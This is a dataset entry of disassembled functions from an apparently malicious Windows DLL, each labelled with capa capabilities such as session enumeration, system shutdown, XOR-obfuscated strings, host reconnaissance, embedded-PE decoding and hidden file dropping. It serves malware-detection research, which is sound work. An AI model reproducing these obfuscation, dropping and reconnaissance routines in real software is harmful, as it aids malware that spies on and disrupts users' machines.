joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180005a48
Capabilities:
Get session information
Get session user name

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x2f]
sub rsp, 0x98
mov r15, qword [rcx + 0x30]
call fcn.1800042a4
and qword [rbp - 0x39], 0
lea r9, [rbp - 0x39]
and qword [rbp + 0x7f], 0
mov rdi, rax
and dword [rbp + 0x77], 0
movabs rax, 0xb1f5694e331e1997
and dword [rbp + 0x6f], 0
xor r14d, r14d
and dword [rbp + 0x67], r14d
xor edx, edx
mov qword [rbp - 0x19], rax
xor ecx, ecx
movabs rax, 0x6bc1629f3926102c
mov qword [rbp - 0x11], rax
lea r8d, [r14 + 1]
movabs rax, 0xb181693d336719e4
mov qword [rbp - 0x31], rax
movabs rax, 0x6bc1629f394b1049
mov qword [rbp - 0x29], rax
lea rax, [rbp + 0x6f]
movups xmm0, xmmword [rbp - 0x31]
mov qword [rsp + 0x20], rax
pxor xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 0x19], xmm0
call qword [sym.imp.WTSAPI32.dll_WTSEnumerateSessionsW]
test eax, eax
je 0x180005bd4
xor ebx, ebx
cmp dword [rbp + 0x6f], ebx
jbe 0x180005bca
lea rax, [rbp + 0x77]
mov r8d, 5
mov qword [rsp + 0x20], rax
lea rsi, [rbx + rbx*2]
mov rax, qword [rbp - 0x39]
lea r9, [rbp + 0x7f]
xor ecx, ecx
mov edx, dword [rax + rsi*8]
call qword [sym.imp.WTSAPI32.dll_WTSQuerySessionInformationW]
test eax, eax
je 0x180005bbf
mov rcx, qword [rbp + 0x7f]
lea rdx, [0x18002f938]
call qword [sym.imp.ntdll.dll_wcscmp]
test eax, eax
je 0x180005b63
mov rcx, qword [rbp + 0x7f]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov r8d, 4
lea rdx, [rbp + 0x67]
mov rcx, rdi
lea eax, [rax*2 + 2]
mov dword [rbp + 0x67], eax
call qword [rdi + 0x28]
mov rdx, qword [rbp + 0x7f]
jmp 0x180005b8b
lea rcx, [rbp - 0x19]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov r8d, 4
lea rdx, [rbp + 0x67]
mov rcx, rdi
lea eax, [rax*2 + 2]
mov dword [rbp + 0x67], eax
call qword [rdi + 0x28]
lea rdx, [rbp - 0x19]
mov r8d, dword [rbp + 0x67]
mov rcx, rdi
call qword [rdi + 0x28]
mov rax, qword [rbp - 0x39]
mov r8d, 4
add r14d, dword [rbp + 0x67]
mov rcx, rdi
and dword [rbp + 0x67], 0
lea rdx, [rax + rsi*8]
call qword [rdi + 0x28]
mov rcx, qword [rbp + 0x7f]
add r14d, 8
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
inc ebx
cmp ebx, dword [rbp + 0x6f]
jb 0x180005af6
mov rcx, qword [rbp - 0x39]
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
and dword [rbp + 0x13], 0
xorps xmm0, xmm0
and dword [rbp + 0x1b], 0
and dword [rbp + 0x17], 0
movdqu xmmword [rbp - 5], xmm0
mov dword [rbp - 9], 0x134d74f
mov dword [rbp + 0xb], 8
mov dword [rbp + 0xf], r14d
call fcn.1800042a4
mov rcx, rax
mov rsi, rax
call qword [rax + 0x18]
mov r8d, 0x28
lea rdx, [rbp - 9]
mov rcx, rsi
call qword [rsi + 0x28]
mov r9, qword [rdi + 0x38]
xor edx, edx
mov rbx, qword [rsi + 0x28]
mov rcx, rdi
call r9
mov rdx, rax
mov r8d, r14d
mov rcx, rsi
call rbx
mov rcx, rdi
call fcn.180004324
mov rax, qword [rsi + 0x30]
mov rcx, rsi
mov rdi, qword [r15 + 0x30]
call rax
mov r8, qword [rsi + 0x38]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call r8
mov r8d, ebx
mov rdx, rax
mov rcx, r15
call rdi
mov rcx, rsi
call qword [rsi + 0x18]
mov rcx, rsi
call fcn.180004324
xor eax, eax
add rsp, 0x98
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x180005c84
Capabilities:
Shutdown system

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r13
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xb0
xor eax, eax
lea rdx, [rbp + 7]
xorps xmm0, xmm0
mov qword [rbp + 0x27], rax
mov rbx, rcx
movups xmmword [rbp + 7], xmm0
lea r8d, [rax + 0x28]
movups xmmword [rbp + 0x17], xmm0
call qword [rcx + 0x20]
or dword [rbp + 0x67], 0xffffffff
lea rdx, [rbp + 0x67]
mov r8d, 4
mov rcx, rbx
call qword [rbx + 0x20]
movabs rax, 0xb1f5694e331e1997
lea rcx, [rbp - 0x59]
mov qword [rbp - 0x29], rax
movabs r12, 0xb19d691d337b19c4
mov qword [rbp - 0x59], r12
movabs rax, 0x6bc1629f3926102c
mov qword [rbp - 0x21], rax
movabs r15, 0x6bae62fb39521059
mov qword [rbp - 0x51], r15
movabs rax, 0xc935ac473cdbee1
movups xmm0, xmmword [rbp - 0x59]
mov qword [rbp - 0x19], rax
movabs rsi, 0xce15a9473a3be96
mov qword [rbp - 0x49], rsi
movabs rax, 0x9ead7275034fe1de
pxor xmm0, xmmword [rbp - 0x29]
movabs rdi, 0x9ec1721c0339e1b7
mov qword [rbp - 0x11], rax
movabs rbx, 0x9c0d6a97d1b5f79e
movabs rax, 0x551360233190ca10
mov qword [rbp - 0x41], rdi
movups xmm1, xmmword [rbp - 0x49]
mov qword [rbp - 0x31], rax
movabs r13, 0x9c0d6af2d1d2f7fb
mov qword [rbp - 0x39], rbx
mov edx, 1
movups xmm2, xmmword [rbp - 0x39]
mov qword [rbp - 1], rax
pxor xmm1, xmmword [rbp - 0x19]
mov qword [rbp - 9], r13
pxor xmm2, xmmword [rbp - 9]
movdqa xmmword [rbp - 0x39], xmm2
movdqa xmmword [rbp - 0x59], xmm0
movdqa xmmword [rbp - 0x49], xmm1
call fcn.180015f80
mov ecx, dword [rbp + 0x67]
xor edx, edx
call qword [sym.imp.USER32.dll_ExitWindowsEx]
movabs rax, 0xb1f5694e331e1997
mov qword [rbp - 0x29], r12
mov qword [rbp - 0x59], rax
lea rcx, [rbp - 0x29]
movabs rax, 0x6bc1629f3926102c
mov qword [rbp - 0x21], r15
movups xmm1, xmmword [rbp - 0x29]
mov qword [rbp - 0x51], rax
xor edx, edx
movdqa xmm0, xmmword [rbp - 0x59]
movabs rax, 0xc935ac473cdbee1
mov qword [rbp - 0x49], rax
pxor xmm0, xmm1
movabs rax, 0x9ead7275034fe1de
mov qword [rbp - 0x19], rsi
mov qword [rbp - 0x41], rax
movabs rax, 0x551360233190ca10
mov qword [rbp - 1], rax
mov qword [rbp - 0x11], rdi
movups xmm2, xmmword [rbp - 0x19]
mov qword [rbp - 9], rbx
movups xmm3, xmmword [rbp - 9]
mov qword [rbp - 0x39], r13
pxor xmm2, xmmword [rbp - 0x49]
mov qword [rbp - 0x31], rax
pxor xmm3, xmmword [rbp - 0x39]
movdqa xmmword [rbp - 9], xmm3
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmmword [rbp - 0x19], xmm2
call fcn.180015f80
lea r11, [rsp + 0xb0]
mov eax, 1
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r13
pop r12
pop rdi
pop rbp
ret
Function at 0x180006630
Capabilities:
Contain obfuscated stackstrings
Create thread
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
mov edi, edx
lea rcx, [rbp + 0xa0]
xor edx, edx
mov r8d, 0x200
call sub.ntdll.dll_memset
mov edx, 0x64
lea rcx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
test eax, eax
jne 0x18000667e
call qword [sym.imp.KERNEL32.DLL_GetLastError]
xor edx, edx
mov dword [rsp + 0x30], 0x3a5e3a66
mov r8d, 0xea
mov dword [rsp + 0x34], 0x3a563a56
lea rcx, [rbp - 0x50]
mov dword [rsp + 0x38], 0x3a553a52
mov dword [rsp + 0x3c], 0x3a4e3a49
mov dword [rsp + 0x40], 0x3a5f3a14
mov dword [rsp + 0x44], 0x3a5f3a42
mov dword [rsp + 0x48], 0x3a153a1a
mov dword [rsp + 0x4c], 0x3a483a6a
mov dword [rsp + 0x50], 0x3a593a55
mov dword [rsp + 0x54], 0x3a493a5f
mov dword [rsp + 0x58], 0x3a533a49
mov dword [rsp + 0x5c], 0x3a003a5e
mov dword [rsp + 0x60], 0x3a7c3a41
mov dword [rsp + 0x64], 0x3a083a02
mov dword [rsp + 0x68], 0x3a0e3a02
mov dword [rsp + 0x6c], 0x3a093a08
mov dword [rsp + 0x70], 0x3a173a09
mov dword [rsp + 0x74], 0x3a023a0e
mov dword [rsp + 0x78], 0x3a0e3a7c
mov dword [rsp + 0x7c], 0x3a0e3a17
mov dword [rbp - 0x80], 0x3a023a0c
mov dword [rbp - 0x7c], 0x3a173a0a
mov dword [rbp - 0x78], 0x3a7e3a7b
mov dword [rbp - 0x74], 0x3a7e3a7e
mov dword [rbp - 0x70], 0x3a7c3a17
mov dword [rbp - 0x6c], 0x3a083a02
mov dword [rbp - 0x68], 0x3a0e3a02
mov dword [rbp - 0x64], 0x3a093a08
mov dword [rbp - 0x60], 0x3a473a09
mov byte [rbp - 0x5c], 0x3a
call sub.ntdll.dll_memset
xor eax, eax
lea r8d, [rax + 0x75]
xor byte [rsp + rax + 0x30], 0x3a
inc rax
cmp rax, r8
jl 0x180006778
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call qword [sym.imp.ntdll.dll_memcpy]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
mov rcx, qword [0x180035298]
mov rdx, rdi
call fcn.18001101c
test rax, rax
jne 0x180006862
or qword [rbp + 0x2c0], 0xffffffffffffffff
call fcn.18000bb14
mov r8d, dword [0x180035250]
lea rcx, [rbp + 0xa0]
mov rdx, qword [0x180035248]
mov rbx, rax
lea rax, [rbp + 0x2c0]
mov r9d, edi
mov qword [rsp + 0x20], rax
call qword [rbx + 0x18]
mov r8, qword [rbp + 0x2c0]
cmp r8, 0xffffffffffffffff
je 0x18000685a
mov rcx, qword [0x180035298]
mov rdx, rdi
call fcn.180010f90
mov r9, qword [rbp + 0x2c0]
lea rax, [rbp + 0x2c8]
and dword [rbp + 0x2c8], 0
lea r8, [0x180006878]
mov qword [rsp + 0x28], rax
xor edx, edx
and dword [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
test rax, rax
je 0x18000685a
mov edx, dword [rbp + 0x2c8]
mov r8, rax
mov rcx, qword [0x180035240]
call fcn.180010f90
mov rcx, rbx
call fcn.18000bc88
mov rbx, qword [rsp + 0x3d0]
xor eax, eax
add rsp, 0x3a0
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800076ec
Capabilities:
Encode data using xor
Set file attributes
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov esi, edx
mov r14, rcx
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x208
call sub.ntdll.dll_memset
lea rdx, [0x180035014]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
movabs rcx, 0x9ead7275034fe1de
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x58], rcx
movabs rax, 0xb1f5694e331e1997
mov qword [rsp + 0x60], rax
movabs rax, 0x6bc1629f3926102c
mov qword [rsp + 0x68], rax
movabs rax, 0xc935ac473cdbee1
mov qword [rsp + 0x70], rax
movabs rax, 0xb198692b336a19cb
mov qword [rsp + 0x40], rax
movabs rax, 0x6ba462f43908105c
mov qword [rsp + 0x48], rax
movabs rax, 0xc935ac473cdbe98
movups xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x50], rax
movups xmm1, xmmword [rsp + 0x50]
mov qword [rsp + 0x78], rcx
lea rcx, [rbp - 0x80]
pxor xmm0, xmmword [rsp + 0x60]
pxor xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
and qword [rsp + 0x30], 0
lea rcx, [rbp - 0x80]
and dword [rbp + 0x1d0], 0
mov edi, 0x80
mov dword [rsp + 0x28], edi
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x20], 3
lea r12d, [rdi - 0x7e]
mov r8d, r12d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000787e
and qword [rsp + 0x30], 0
lea rcx, [rbp - 0x80]
mov dword [rsp + 0x28], edi
xor r9d, r9d
mov r8d, r12d
mov dword [rsp + 0x20], r12d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov r9d, r12d
xor r8d, r8d
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_SetFilePointer]
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x1d0]
mov eax, 0xfeff
lea rdx, [rbp + 0x1c8]
mov r8d, r12d
mov word [rbp + 0x1c8], ax
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov edx, r12d
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
mov r9d, r12d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_SetFilePointer]
xor ecx, ecx
movsxd rdx, esi
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x180007904
test esi, esi
je 0x1800078ca
mov rcx, rax
sub r14, rax
mov r8, rsi
mov al, byte [r14 + rcx]
xor al, 0x62
mov byte [rcx], al
inc rcx
sub r8, 1
jne 0x1800078b9
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x1d0]
mov r8d, esi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_WriteFile]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov edx, r12d
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
test rbx, rbx
je 0x180007912
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rbx, qword [rsp + 0x2c0]
xor eax, eax
add rsp, 0x290
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000a2f0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [rdx + 0x30]
mov rbx, rcx
and dword [rbp - 0x2c], 0
mov rcx, rdx
and dword [rbp - 0x14], 0
mov r14, rdx
and dword [rbp - 0xc], 0
mov dword [rbp - 0x30], 0x134d74f
mov dword [rbp - 0x1c], 0x3004
call rax
and dword [rbp - 0x10], 0
mov dword [rbp - 0x18], eax
mov eax, dword [rbx + 8]
mov dword [rbp - 0x20], eax
mov rax, qword [rbx + 0x10]
mov qword [rbp - 0x28], rax
call fcn.1800042a4
mov r8d, 0x28
lea rdx, [rbp - 0x30]
mov rcx, rax
mov rsi, rax
call qword [rax + 0x28]
mov rdx, qword [r14 + 0x30]
mov rcx, r14
mov rdi, qword [rsi + 0x28]
call rdx
mov r8, qword [r14 + 0x38]
xor edx, edx
mov rcx, r14
mov ebx, eax
call r8
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
call rdi
mov rcx, r14
call fcn.180004324
and dword [rbp + 0x20], 0
lea rax, [rbp + 0x20]
mov qword [rsp + 0x28], rax
lea r8, [0x18000a0b4]
and dword [rsp + 0x20], 0
mov r9, rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov rcx, qword [0x180035288]
test rcx, rcx
je 0x18000a3c6
mov edx, dword [rbp + 0x20]
mov r8, rax
call fcn.180010f90
lea r11, [rsp + 0x60]
xor eax, eax
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x18000aa6c
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x20
and dword [rax + 0x10], 0
mov rdi, rcx
and dword [rax + 0x18], 0
mov rdx, rcx
mov ebx, 4
lea rcx, [rax + 0x18]
mov r8d, ebx
call qword [sym.imp.ntdll.dll_memcpy]
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x18000ab86
lea rdx, [rax + 4]
mov r8d, ebx
add rdx, rdi
lea rcx, [rsp + 0x38]
call qword [sym.imp.ntdll.dll_memcpy]
mov eax, dword [rsp + 0x38]
test eax, eax
je 0x18000ab86
mov edx, eax
mov r9d, ebx
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x18000aae7
xor eax, eax
jmp 0x18000ab89
mov edx, dword [rsp + 0x40]
mov rcx, rbx
mov r8d, dword [rsp + 0x38]
add rdx, 8
add rdx, rdi
call qword [sym.imp.ntdll.dll_memcpy]
cmp byte [rbx], 0x4d
jne 0x18000ab0b
cmp byte [rbx + 1], 0x5a
je 0x18000ab24
movsxd rcx, dword [rsp + 0x38]
test rcx, rcx
jle 0x18000ab24
mov rax, rbx
xor byte [rax], 0x3a
inc rax
sub rcx, 1
jne 0x18000ab18
movsxd rax, dword [rbx + 0x3c]
movzx ecx, word [rax + rbx + 4]
mov eax, 0x200
cmp cx, ax
je 0x18000ab6e
mov eax, 0x8664
cmp cx, ax
je 0x18000ab6e
mov eax, 0x14c
xor edx, edx
cmp cx, ax
mov r8d, 0x8000
mov rcx, rbx
jne 0x18000ab63
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov eax, 0x20
jmp 0x18000ab89
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
jmp 0x18000aae0
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov eax, 0x40
jmp 0x18000ab89
or eax, 0xffffffff
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18000bcb8
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x420
mov rdi, rcx
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
xor r8d, r8d
mov rcx, rdi
lea edx, [rax*2 + 1]
call fcn.180016248
test eax, eax
jle 0x18000bd5e
lfence
xor ecx, ecx
inc eax
movsxd rdx, eax
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x18000bd5e
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov r8, rbx
mov rcx, rdi
lea edx, [rax*2 + 1]
call fcn.180016248
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x400
call sub.ntdll.dll_memset
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_lstrlenA]
mov edi, 3
lfence
mov rcx, rbx
cmp eax, edi
jg 0x18000bd76
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
or eax, 0xffffffff
lea r11, [rsp + 0x420]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call qword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp eax, edi
jle 0x18000bdcf
lfence
lea rsi, [rbx + 3]
cmp byte [rsi], 0x5c
jne 0x18000bdbd
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x400
call qword [sym.imp.ntdll.dll_memset]
movsxd r8, edi
lea rcx, [rsp + 0x20]
mov rdx, rbx
call qword [sym.imp.ntdll.dll_memcpy]
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
mov rcx, rbx
inc edi
inc rsi
call qword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp edi, eax
jl 0x18000bd87
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
lfence
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
xor eax, eax
jmp 0x18000bd61
Function at 0x18000dba0
Capabilities:
Get hostname
Resolve dns

Disassembly:
push rbx
sub rsp, 0x140
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x100
call sub.ntdll.dll_memset
mov edx, 0x100
lea rcx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdx, qword [rax + 0x18]
mov rax, qword [rdx]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
movabs rdx, 0x6bc1629f3926102c
movabs rcx, 0xb1f5694e331e1997
mov qword [rsp + 0x20], rcx
mov r8, rax
mov qword [rsp + 0x28], rdx
movabs rcx, 0xb1f5693d337619b2
mov qword [rsp + 0x30], rcx
mov rcx, rbx
mov qword [rsp + 0x38], rdx
lea rdx, [rsp + 0x20]
movups xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
call qword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
add rsp, 0x140
pop rbx
ret
Function at 0x18000e1cc
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rsi, rcx
mov dword [rbp + 0x18], 0x80
mov edi, 0x100
mov r9d, 4
mov edx, edi
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov r9d, 4
mov r8d, 0x1000
mov edx, edi
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x18000e348
test rbx, rbx
je 0x18000e348
lea rdx, [rbp + 0x18]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, eax
mov rdx, rdi
call fcn.180016328
movabs rdx, 0x9c0d6af2d1d2f7fb
movabs rcx, 0x551360233190ca10
mov qword [rbp - 0x40], rdx
movabs rax, 0xb1f5694e331e1997
mov qword [rbp - 0x30], rax
mov r9, rdi
mov qword [rbp - 0x38], rcx
movabs rax, 0x6bc1629f3926102c
movups xmm2, xmmword [rbp - 0x40]
mov qword [rbp - 0x28], rax
mov r8, rbx
mov qword [rbp - 0x10], rdx
movabs rax, 0xc935ac473cdbee1
mov qword [rbp - 0x20], rax
lea rdx, [rbp - 0x60]
mov qword [rbp - 8], rcx
movabs rax, 0x9ead7275034fe1de
pxor xmm2, xmmword [rbp - 0x10]
mov rcx, rsi
mov qword [rbp - 0x18], rax
movabs rax, 0xb1cf6913334b19cc
mov qword [rbp - 0x60], rax
movabs rax, 0x6bbd62bf39551009
mov qword [rbp - 0x58], rax
movabs rax, 0xcce5a947396bec1
movups xmm0, xmmword [rbp - 0x60]
mov qword [rbp - 0x50], rax
movabs rax, 0x9e8d7206036ae1e4
mov qword [rbp - 0x48], rax
movups xmm1, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rbp - 0x30]
pxor xmm1, xmmword [rbp - 0x20]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmmword [rbp - 0x40], xmm2
call qword [sym.imp.USER32.dll_wsprintfW]
mov esi, 0x8000
xor edx, edx
mov r8d, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov r8d, esi
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
lea r11, [rsp + 0x80]
mov eax, 1
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x18000e368
Capabilities:
Get hostname
Get memory capacity

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
xor eax, eax
mov rdi, rdx
xorps xmm0, xmm0
mov qword [rbp - 0x39], rax
mov r15, rcx
lea rdx, [rbp - 0x59]
mov rcx, rdi
lea r8d, [rax + 0x28]
movups xmmword [rbp - 0x59], xmm0
movups xmmword [rbp - 0x49], xmm0
call qword [rdi + 0x20]
xor ecx, ecx
mov edx, 0x72e
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x18000e58a
mov ebx, 0x40
lea rdx, [0x180034de0]
mov r8d, ebx
mov rcx, rax
call qword [sym.imp.ntdll.dll_memcpy]
lea rcx, [r14 + 0x40]
mov r8d, 0x200
lea rdx, [0x180034be0]
call qword [sym.imp.ntdll.dll_memcpy]
lea rcx, [r14 + 0x2a4]
call fcn.18000dba0
lea rcx, [r14 + 0x308]
call fcn.18000dc48
lea rcx, [r14 + 0x312]
call fcn.18000dcec
lea rcx, [r14 + 0x3da]
mov dword [rbp + 0x6f], gethostbyname
lea rdx, [rbp + 0x6f]
call qword [sym.imp.KERNEL32.DLL_GetComputerNameW]
lea rcx, [r14 + 0x43e]
call fcn.18000de60
mov r8d, ebx
lea rcx, [rbp + 7]
xor edx, edx
call sub.ntdll.dll_memset
lea rcx, [rbp + 7]
mov dword [rbp + 7], ebx
call qword [sym.imp.KERNEL32.DLL_GlobalMemoryStatusEx]
mov r8, qword [rbp + 0xf]
lea rdx, [rbp - 9]
movabs rcx, 0x6bc1629f3926102c
shr r8, 0x14
mov qword [rbp - 0x29], rcx
movabs rax, 0xb1f5694e331e1997
mov qword [rbp - 0x19], rax
movabs rax, 0xb1b76903337a19b2
mov qword [rbp - 0x11], rcx
lea rcx, [r14 + 0x48e]
mov qword [rbp - 0x31], rax
movups xmm0, xmmword [rbp - 0x31]
pxor xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 9], xmm0
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [r14 + 0x4de]
call fcn.18000e1cc
lea rcx, [r14 + 0x6de]
call fcn.180016030
mov rax, qword [rdi + 0x30]
lea rsi, [r14 + 0x240]
mov rcx, rdi
call rax
lea r8d, [rbx + 0x24]
lfence
mov rcx, rdi
cmp eax, r8d
jbe 0x18000e4f5
mov rdx, rsi
call qword [rdi + 0x20]
jmp 0x18000e50a
mov rax, qword [rdi + 0x30]
mov rbx, qword [rdi + 0x20]
call rax
mov r8d, eax
mov rdx, rsi
mov rcx, rdi
call rbx
mov rcx, rdi
call fcn.180004324
and dword [rbp - 0x39], 0
mov dword [rbp - 0x45], 1
mov dword [rbp - 0x41], 0x72e
call fcn.1800042a4
mov r8d, 0x28
lea rdx, [rbp - 0x59]
mov rcx, rax
mov rsi, rax
call qword [rax + 0x28]
mov r8d, 0x72e
mov rdx, r14
mov rcx, rsi
call qword [rsi + 0x28]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov rax, qword [rsi + 0x30]
mov rcx, rsi
mov rdi, qword [r15 + 0x30]
call rax
mov r8, qword [rsi + 0x38]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call r8
mov r8d, ebx
mov rdx, rax
mov rcx, r15
call rdi
mov rcx, rsi
call fcn.180004324
lea r11, [rsp + 0xc0]
xor eax, eax
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x180015124
Capabilities:
Encode data using xor
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xf0
mov rdi, rcx
mov qword [0x180035248], rcx
mov rdx, rcx
mov ebp, 4
mov r8d, ebp
lea rcx, [0x180035280]
call qword [sym.imp.ntdll.dll_memcpy]
mov edx, dword [0x180035280]
mov esi, 0x3000
mov r8d, esi
mov r9d, ebp
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
xor ebx, ebx
mov qword [0x180035278], rax
test rax, rax
je 0x1800152ea
mov r8d, dword [0x180035280]
lea rdx, [rdi + 4]
mov rcx, rax
call qword [sym.imp.ntdll.dll_memcpy]
mov edx, dword [0x180035280]
lea rcx, [0x1800352b0]
add rdx, rbp
mov r8d, ebp
add rdx, rdi
call qword [sym.imp.ntdll.dll_memcpy]
mov eax, dword [0x1800352b0]
test eax, eax
je 0x1800152ea
mov edx, eax
